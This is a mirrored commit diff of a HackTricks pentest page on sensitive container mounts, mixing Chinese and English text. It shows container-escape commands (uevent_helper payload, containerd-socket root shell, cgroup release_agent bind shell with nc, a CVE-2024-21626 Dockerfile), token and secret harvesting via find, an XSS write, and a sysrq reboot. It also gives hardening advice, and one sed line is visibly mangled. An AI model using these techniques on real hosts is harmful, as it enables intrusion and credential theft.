mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/docker-security/do
This commit is contained in:
parent
c3b989ff7e
commit
0a6fb8da1d
@ -27,7 +27,7 @@ sleep 5 && ./crash & # Trigger handler
|
||||
```
|
||||
检查 [this post](https://pwning.systems/posts/escaping-containers-for-fun/) 以获取更多信息。
|
||||
|
||||
崩溃的示例程序:
|
||||
示例程序崩溃:
|
||||
```c
|
||||
int main(void) {
|
||||
char buf[1];
|
||||
@ -39,8 +39,8 @@ return 0;
|
||||
```
|
||||
#### **`/proc/sys/kernel/modprobe`**
|
||||
|
||||
- 详细信息见 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
|
||||
- 包含内核模块加载器的路径,用于加载内核模块。
|
||||
- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中详细说明。
|
||||
- 包含用于加载内核模块的内核模块加载器的路径。
|
||||
- **检查访问示例**:
|
||||
|
||||
```bash
|
||||
@ -49,27 +49,27 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问
|
||||
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- 参考 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html)。
|
||||
- 在 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) 中引用。
|
||||
- 一个全局标志,控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
- 根据 [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html),包含有关文件系统的选项和信息。
|
||||
- 写入访问可能会启用针对主机的各种拒绝服务攻击。
|
||||
- 写入访问可以启用针对主机的各种拒绝服务攻击。
|
||||
|
||||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
- 允许根据魔术数字注册非本地二进制格式的解释器。
|
||||
- 允许根据其魔术数字注册非本地二进制格式的解释器。
|
||||
- 如果 `/proc/sys/fs/binfmt_misc/register` 可写,可能导致特权升级或 root shell 访问。
|
||||
- 相关漏洞和解释:
|
||||
- [通过 binfmt_misc 的穷人根工具包](https://github.com/toffan/binfmt_misc)
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- 深入教程:[视频链接](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### 其他 `/proc` 中的内容
|
||||
### 其他在 `/proc` 中
|
||||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
- 如果启用了 `CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
|
||||
- 如果启用了 `CONFIG_IKCONFIG_PROC`,可能会揭示内核配置。
|
||||
- 对攻击者识别运行内核中的漏洞非常有用。
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- 暴露内核环形缓冲区消息。
|
||||
- 可以帮助进行内核漏洞利用、地址泄漏,并提供敏感系统信息。
|
||||
- 可以帮助内核漏洞利用、地址泄漏,并提供敏感系统信息。
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
@ -101,10 +101,10 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
- 以 ELF 核心格式表示系统的物理内存。
|
||||
- 读取可能会泄露主机系统和其他容器的内存内容。
|
||||
- 以 ELF core 格式表示系统的物理内存。
|
||||
- 读取可能泄漏主机系统和其他容器的内存内容。
|
||||
- 大文件大小可能导致读取问题或软件崩溃。
|
||||
- 详细用法见 [2019 年转储 /proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||
- 详细用法见 [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
@ -132,83 +132,88 @@ echo b > /proc/sysrq-trigger # 重启主机
|
||||
|
||||
- 用于处理内核设备 `uevents`。
|
||||
- 写入 `/sys/kernel/uevent_helper` 可以在 `uevent` 触发时执行任意脚本。
|
||||
- **利用示例**: %%%bash
|
||||
- **利用示例**:
|
||||
```bash
|
||||
|
||||
#### 创建有效载荷
|
||||
#### Creates a payload
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
#### 从 OverlayFS 挂载中查找主机路径
|
||||
#### Finds host path from OverlayFS mount for container
|
||||
|
||||
host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)
|
||||
|
||||
#### 将 uevent_helper 设置为恶意助手
|
||||
#### Sets uevent_helper to malicious helper
|
||||
|
||||
echo "$host_path/evil-helper" > /sys/kernel/uevent_helper
|
||||
|
||||
#### 触发 uevent
|
||||
#### Triggers a uevent
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
#### 读取输出
|
||||
#### Reads the output
|
||||
|
||||
cat /output %%%
|
||||
cat /output
|
||||
```
|
||||
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
- 控制温度设置,可能导致 DoS 攻击或物理损坏。
|
||||
- Controls temperature settings, potentially causing DoS attacks or physical damage.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
- 泄露内核地址,可能危及 KASLR。
|
||||
- Leaks kernel addresses, potentially compromising KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
- 存放 `securityfs` 接口,允许配置 Linux 安全模块,如 AppArmor。
|
||||
- 访问可能使容器能够禁用其 MAC 系统。
|
||||
- Houses `securityfs` interface, allowing configuration of Linux Security Modules like AppArmor.
|
||||
- Access might enable a container to disable its MAC system.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`**
|
||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||
|
||||
- 暴露与 NVRAM 中的 EFI 变量交互的接口。
|
||||
- 错误配置或利用可能导致笔记本电脑砖化或主机无法启动。
|
||||
- Exposes interfaces for interacting with EFI variables in NVRAM.
|
||||
- Misconfiguration or exploitation can lead to bricked laptops or unbootable host machines.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` 提供了一个“无规则”的调试接口给内核。
|
||||
- 由于其不受限制的性质,历史上存在安全问题。
|
||||
- `debugfs` offers a "no rules" debugging interface to the kernel.
|
||||
- History of security issues due to its unrestricted nature.
|
||||
|
||||
### `/var` 漏洞
|
||||
### `/var` Vulnerabilities
|
||||
|
||||
主机的 **/var** 文件夹包含容器运行时套接字和容器的文件系统。
|
||||
如果该文件夹在容器内挂载,该容器将获得对其他容器文件系统的读写访问权限
|
||||
并具有 root 权限。这可能被滥用以在容器之间进行切换,导致拒绝服务,或为其他
|
||||
容器和在其中运行的应用程序设置后门。
|
||||
The host's **/var** folder contains container runtime sockets and the containers' filesystems.
|
||||
If this folder is mounted inside a container, that container will get read-write access to other containers' file systems
|
||||
with root privileges. This can be abused to pivot between containers, to cause a denial of service, or to backdoor other
|
||||
containers and applications that run in them.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
如果像这样的容器通过 Kubernetes 部署:
|
||||
If a container like this is deployed with Kubernetes:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: pod-mounts-var
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
在 **pod-mounts-var-folder** 容器内:
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null
|
||||
|
||||
@ -229,17 +234,20 @@ REFRESH_TOKEN_SECRET=14<SNIP>ea
|
||||
/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
|
||||
are/nginx/html/index2.html
|
||||
```
|
||||
XSS 已实现:
|
||||
|
||||

|
||||
The XSS was achieved:
|
||||
|
||||
请注意,容器不需要重启或其他操作。通过挂载的 **/var** 文件夹所做的任何更改将立即生效。
|
||||

|
||||
|
||||
您还可以替换配置文件、二进制文件、服务、应用程序文件和 shell 配置文件,以实现自动(或半自动)RCE。
|
||||
Note that the container DOES NOT require a restart or anything. Any changes made via the mounted **/var** folder will be applied instantly.
|
||||
|
||||
##### 访问云凭证
|
||||
You can also replace configuration files, binaries, services, application files, and shell profiles to achieve automatic (or semi-automatic) RCE.
|
||||
|
||||
##### Access to cloud credentials
|
||||
|
||||
The container can read K8s serviceaccount tokens or AWS webidentity tokens
|
||||
which allows the container to gain unauthorized access to K8s or cloud:
|
||||
|
||||
容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌,这使得容器能够获得对 K8s 或云的未经授权访问:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
@ -248,30 +256,100 @@ XSS 已实现:
|
||||
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
|
||||
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token
|
||||
```
|
||||
|
||||
#### Docker
|
||||
|
||||
在Docker(或Docker Compose部署)中的利用方式完全相同,唯一的区别是其他容器的文件系统通常在不同的基础路径下可用:
|
||||
The exploitation in Docker (or in Docker Compose deployments) is exactly the same, except that usually
|
||||
the other containers' filesystems are available under a different base path:
|
||||
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
Docker Root Dir: /var/lib/docker
|
||||
存储驱动: overlay2
|
||||
Docker 根目录: /var/lib/docker
|
||||
```
|
||||
所以文件系统位于 `/var/lib/docker/overlay2/`:
|
||||
|
||||
So the filesystems are under `/var/lib/docker/overlay2/`:
|
||||
|
||||
```bash
|
||||
$ sudo ls -la /var/lib/docker/overlay2
|
||||
|
||||
drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
drwx--x--- 4 root root 4096 1月 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
|
||||
drwx--x--- 4 root root 4096 1月 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
|
||||
drwx--x--- 4 root root 4096 1月 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
|
||||
drwx--x--- 4 root root 4096 1月 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
|
||||
<SNIP>
|
||||
```
|
||||
#### 注意
|
||||
|
||||
实际路径在不同的设置中可能会有所不同,这就是为什么你最好的选择是使用 **find** 命令来定位其他容器的文件系统和 SA / web 身份令牌。
|
||||
#### Note
|
||||
|
||||
### 参考文献
|
||||
The actual paths may differ in different setups, which is why your best bet is to use the **find** command to
|
||||
locate the other containers' filesystems and SA / web identity tokens
|
||||
|
||||
|
||||
|
||||
### Other Sensitive Host Sockets and Directories (2023-2025)
|
||||
|
||||
Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent to giving the container full root on the node. **Treat the following paths as highly sensitive and never expose them to untrusted workloads**:
|
||||
|
||||
```text
|
||||
/run/containerd/containerd.sock # containerd CRI 套接字
|
||||
/var/run/crio/crio.sock # CRI-O 运行时套接字
|
||||
/run/podman/podman.sock # Podman API(有根或无根)
|
||||
/var/run/kubelet.sock # Kubernetes 节点上的 Kubelet API
|
||||
/run/firecracker-containerd.sock # Kata / Firecracker
|
||||
```
|
||||
|
||||
Attack example abusing a mounted **containerd** socket:
|
||||
|
||||
```bash
|
||||
# 在容器内(套接字挂载在 /host/run/containerd.sock)
|
||||
ctr --address /host/run/containerd.sock images pull docker.io/library/busybox:latest
|
||||
ctr --address /host/run/containerd.sock run --tty --privileged --mount \
|
||||
type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/busybox:latest host /bin/sh
|
||||
chroot /host /bin/bash # 在主机上获得完整的 root shell
|
||||
```
|
||||
|
||||
A similar technique works with **crictl**, **podman** or the **kubelet** API once their respective sockets are exposed.
|
||||
|
||||
Writable **cgroup v1** mounts are also dangerous. If `/sys/fs/cgroup` is bind-mounted **rw** and the host kernel is vulnerable to **CVE-2022-0492**, an attacker can set a malicious `release_agent` and execute arbitrary code in the *initial* namespace:
|
||||
|
||||
```bash
|
||||
# 假设容器具有 CAP_SYS_ADMIN 权限并且内核存在漏洞
|
||||
mkdir -p /tmp/x && echo 1 > /tmp/x/notify_on_release
|
||||
|
||||
echo '/tmp/pwn' > /sys/fs/cgroup/release_agent # 需要 CVE-2022-0492
|
||||
|
||||
echo -e '#!/bin/sh\nnc -lp 4444 -e /bin/sh' > /tmp/pwn && chmod +x /tmp/pwn
|
||||
sh -c "echo 0 > /tmp/x/cgroup.procs" # 触发 empty-cgroup 事件
|
||||
```
|
||||
|
||||
When the last process leaves the cgroup, `/tmp/pwn` runs **as root on the host**. Patched kernels (>5.8 with commit `32a0db39f30d`) validate the writer’s capabilities and block this abuse.
|
||||
|
||||
### Mount-Related Escape CVEs (2023-2025)
|
||||
|
||||
* **CVE-2024-21626 – runc “Leaky Vessels” file-descriptor leak**
|
||||
runc ≤1.1.11 leaked an open directory file descriptor that could point to the host root. A malicious image or `docker exec` could start a container whose *working directory* is already on the host filesystem, enabling arbitrary file read/write and privilege escalation. Fixed in runc 1.1.12 (Docker ≥25.0.3, containerd ≥1.7.14).
|
||||
|
||||
```Dockerfile
|
||||
FROM scratch
|
||||
WORKDIR /proc/self/fd/4 # 4 == "/" on the host leaked by the runtime
|
||||
CMD ["/bin/sh"]
|
||||
```
|
||||
|
||||
* **CVE-2024-23651 / 23653 – BuildKit OverlayFS copy-up TOCTOU**
|
||||
A race condition in the BuildKit snapshotter let an attacker replace a file that was about to be *copy-up* into the container’s rootfs with a symlink to an arbitrary path on the host, gaining write access outside the build context. Fixed in BuildKit v0.12.5 / Buildx 0.12.0. Exploitation requires an untrusted `docker build` on a vulnerable daemon.
|
||||
|
||||
### Hardening Reminders (2025)
|
||||
|
||||
1. Bind-mount host paths **read-only** whenever possible and add `nosuid,nodev,noexec` mount options.
|
||||
2. Prefer dedicated side-car proxies or rootless clients instead of exposing the runtime socket directly.
|
||||
3. Keep the container runtime up-to-date (runc ≥1.1.12, BuildKit ≥0.12.5, containerd ≥1.7.14).
|
||||
4. In Kubernetes, use `securityContext.readOnlyRootFilesystem: true`, the *restricted* PodSecurity profile and avoid `hostPath` volumes pointing to the paths listed above.
|
||||
|
||||
### References
|
||||
|
||||
- [runc CVE-2024-21626 advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
|
||||
- [Unit 42 analysis of CVE-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)
|
||||
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
- [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc_group_understanding_hardening_linux_containers-1-1.pdf)
|
||||
- [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container_whitepaper.pdf)
|
||||
|
Loading…
x
Reference in New Issue
Block a user